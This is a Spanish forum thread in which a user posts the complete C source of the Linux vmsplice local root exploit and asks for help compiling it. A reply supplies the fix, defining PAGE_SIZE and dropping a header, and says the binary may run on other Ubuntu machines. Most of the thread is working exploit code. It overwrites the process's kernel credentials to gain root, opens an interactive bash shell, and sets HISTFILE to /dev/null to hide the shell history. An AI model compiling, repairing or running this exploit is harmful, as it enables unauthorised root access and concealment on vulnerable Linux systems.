Título: [Exploit] Error al Compilar exploit (Solucionado)
Publicado por: moikano→@ en 9 Noviembre 2011, 21:36 pm
Hola No manejo muy bien las compilaciones aún, tanto de programas como de trozos de programas, como es este exploit. El caso es que estoy intentando compilar el siguiente código. /* * jessica_biel_naked_in_my_bed.c * * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura. * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca. * Stejnak je to stare jak cyp a aj jakesyk rozbite. * * Linux vmsplice Local Root Exploit * By qaaz * * Linux 2.6.17 - 2.6.24.1 * * This is quite old code and I had to rewrite it to even compile. * It should work well, but I don't remeber original intent of all * the code, so I'm not 100% sure about it. You've been warned ;) * * -static -Wno-format */ #define _GNU_SOURCE #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <malloc.h> #include <limits.h> #include <signal.h> #include <unistd.h> #include <sys/uio.h> #include <sys/mman.h> #include <asm/page.h> #define __KERNEL__ #include <asm/unistd.h> #define PIPE_BUFFERS 16 #define PG_compound 14 #define uint unsigned int #define static_inline static inline __attribute__((always_inline)) #define STACK(x) (x + sizeof(x) - 40) struct page { unsigned long flags; int count; int mapcount; unsigned long private; void *mapping; unsigned long index; struct { long next, prev; } lru; }; void exit_code(); char exit_stack[1024 * 1024]; void die(char *msg, int err) { printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1); } #if defined (__i386__) #ifndef __NR_vmsplice #define __NR_vmsplice 316 #endif #define USER_CS 0x73 #define USER_SS 0x7b #define USER_FL 0x246 static_inline void exit_kernel() { __asm__ __volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); } static_inline void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; } #elif defined (__x86_64__) #ifndef __NR_vmsplice #define __NR_vmsplice 278 #endif #define USER_CS 0x23 #define USER_SS 0x2b #define USER_FL 0x246 static_inline void exit_kernel() { __asm__ __volatile__ ( "swapgs ;" "movq %0, 0x20(%%rsp) ;" "movq %1, 0x18(%%rsp) ;" "movq %2, 0x10(%%rsp) ;" "movq %3, 0x08(%%rsp) ;" "movq %4, 0x00(%%rsp) ;" "iretq" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); } static_inline void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movq %%gs:(0), %0" : "=r" (curr) ); return (void *) curr; } #else #error "unsupported arch" #endif #if defined (_syscall4) #define __NR__vmsplice __NR_vmsplice _syscall4( long, _vmsplice, int, fd, struct iovec *, iov, unsigned long, nr_segs, unsigned int, flags) #else #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) #endif static uint uid, gid; void kernel_code() { int i; uint *p = get_current(); for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } exit_kernel(); } void exit_code() { if (getuid() != 0) die("wtf", 0); printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); } int main(int argc, char *argv[]) { int pi[2]; size_t map_size; char * map_addr; struct iovec iov; struct page * pages[5]; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n"); if (!uid || !gid) die("!@#$", 0); /*****/ pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; pages[1] = pages[0] + 1; map_size = PAGE_SIZE; map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[0]); printf("[+] page: 0x%lx\n", pages[1]); pages[0]->flags = 1 << PG_compound; pages[0]->private = (unsigned long) pages[0]; pages[0]->count = 1; pages[1]->lru.next = (long) kernel_code; /*****/ pages[2] = *(void **) pages[0]; pages[3] = pages[2] + 1; map_size = PAGE_SIZE; map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[2]); printf("[+] page: 0x%lx\n", pages[3]); pages[2]->flags = 1 << PG_compound; pages[2]->private = (unsigned long) pages[2]; pages[2]->count = 1; pages[3]->lru.next = (long) kernel_code; /*****/ pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; map_size = PAGE_SIZE; map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[4]); /*****/ map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); /*****/ map_size -= 2 * PAGE_SIZE; if (munmap(map_addr + map_size, PAGE_SIZE) < 0) die("munmap", errno); /*****/ if (pipe(pi) < 0) die("pipe", errno); close(pi[0]); iov.iov_base = map_addr; iov.iov_len = ULONG_MAX; signal(SIGPIPE, exit_code); _vmsplice(pi[1], &iov, 1, 0); die("vmsplice", errno); return 0; } Y me sale el siguiente error al intentar compilar con el siguiente comando: $ gcc exploit.c -o exploit vmsplice.c:12:22: error: asm/page.h: No existe el fichero o el directorio vmsplice.c: In function ‘main’: vmsplice.c:193: error: ‘PAGE_SIZE’ undeclared (first use in this function) vmsplice.c:193: error: (Each undeclared identifier is reported only once vmsplice.c:193: error: for each function it appears in.) vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’ vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’ vmsplice.c:204: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’ vmsplice.c:205: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’ vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’ vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’ vmsplice.c:224: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’ vmsplice.c:225: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’ vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’ vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’ vmsplice.c:241: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’ vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’ vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’ El exploit es el de vmslice, de escalada de privilegios local en Linux. Supongo que el problema está en que me faltan cabeceras, ya que por ahí lo pone, pero no se como conseguirlas. Y otra pregunta, si yo compilo el exploit en mi Ubuntu y quiero probar el exploit en un Ubuntu diferente no tendré que volver a compilarlo verdad? Gracias de antemano.
Título: Re: [Exploit] Error al Compilar exploit
Publicado por: Ivanchuk en 9 Noviembre 2011, 22:50 pm
Tenes que tener el source de tu kernel. Si es ese error solamente, podes fijarte el tamano de pagina virtual que tenes con getconf PAGESIZE
A mi por ejemplo me da 4096. Despues de los includes agrega el define y listo! #define PAGE_SIZE 4096
Si queres probar el exploit en otra maquina, vas a tener que recompilarlo. Si son ubuntu las dos maquinas puede ser que funcione, tendrias que probarlo. EDIT: ah y saca el include de page.h Saludos
Título: Re: [Exploit] Error al Compilar exploit
Publicado por: moikano→@ en 9 Noviembre 2011, 23:12 pm
Icé lo que me explicaste y funciono, pero siguien saliendo los warnings : vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’ vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’ vmsplice.c:204: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’ vmsplice.c:205: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’ vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’ vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’ vmsplice.c:224: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’ vmsplice.c:225: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’ vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’ vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’ vmsplice.c:241: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’ vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’ vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’ Es normal? Gracias por la explicación, por cierto, si el kernel es también 4096 en la otra máquina debería funcionar?
Título: Re: [Exploit] Error al Compilar exploit
Publicado por: Ivanchuk en 10 Noviembre 2011, 09:13 am
Si, es normal esos warnings. Gracias por la explicación, por cierto, si el kernel es también 4096 en la otra máquina debería funcionar? Bueno deberia, el problema que podes llegar a tener es con las libs dinamicas. Probalo nomas, como mucho se bloquea la maquina. Reinicias y listo.
Título: Re: [Exploit] Error al Compilar exploit
Publicado por: moikano→@ en 10 Noviembre 2011, 15:28 pm
Ok gracias Ivanchuk.
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